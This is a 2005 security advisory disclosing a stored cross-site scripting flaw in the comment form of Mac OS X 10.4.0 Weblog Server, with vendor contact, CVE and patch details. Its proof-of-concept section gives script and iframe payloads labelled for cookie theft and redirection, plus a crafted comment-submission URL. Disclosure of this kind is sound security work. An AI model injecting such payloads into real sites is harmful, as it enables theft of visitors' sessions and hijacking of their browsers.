------------------------------------------------------------
      - EXPL-A-2005-010 exploitlabs.com Advisory 039 -
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                       - Mac OSX Server weblog -





AFFECTED PRODUCTS
=================
Mac OSX 10.4.0 Weblog Server

http://apple.com



OVERVIEW
========
Weblog Server, which simplifies the publication of Weblogs.
 It provides users with the ability to publish and syndicate
 their Web content using existing Web browsers, including
 Apple's own Safari software. Features include calendar-based
 navigation, user and group blogs and HTML, RSS, RSS2, RDF
 and ATOM protocols, as well as "Apple-designed blog themes."
 Weblog Server can also integrate with Open Directory, LDAP
 and access control lists for authentication.




DETAILS
=======
1. XSS

Mac Server weblog comments does not properly filter
malicious script content. XSS my be inserted in the
author and comment body sections. The malicious script
is the rendered upon visitation and executed in the
context of the users brower.

http://[host]:16080/weblog/[bloguser]/?permalink=[blogentry]&page=comments



POC
===

1.
------
input malicious script into author and comment sections in
the comment option on the weblog.
eg:<SCRIPT>alert(document.cookie);</SCRIPT> [cookie theft]
eg:<iframe src="http://somesite.com"></iframe> [redirect]


http://[host]:16080/weblog/[bloguser]/?permalink=[blogentry]&comment=y&page=comments&category=%2F&author=[script]&authorEmail=&authorURL=&commentText=[script]&submit=Submit+Comment


SOLUTION:
=========
vendor contact:
product-security@apple.com June 11, 2005

patch released:

Weblog Server
CVE-ID: CAN-2005-2523
Available for: Mac OS X Server v10.4.2

patch available:
http://www.apple.com/support/downloads/securityupdate2005007macosx1042server.html





Credits
=======
This vulnerability was discovered and researched by
Donnie Werner of exploitlabs

Donnie Werner

mail:   wood at exploitlabs.com
mail:   morning_wood at zone-h.org
-- 
web: http://exploitlabs.com
web: http://zone-h.org

original:
http://exploitlabs.com/files/advisories/EXPL-A-2005-010-mac-weblog.txt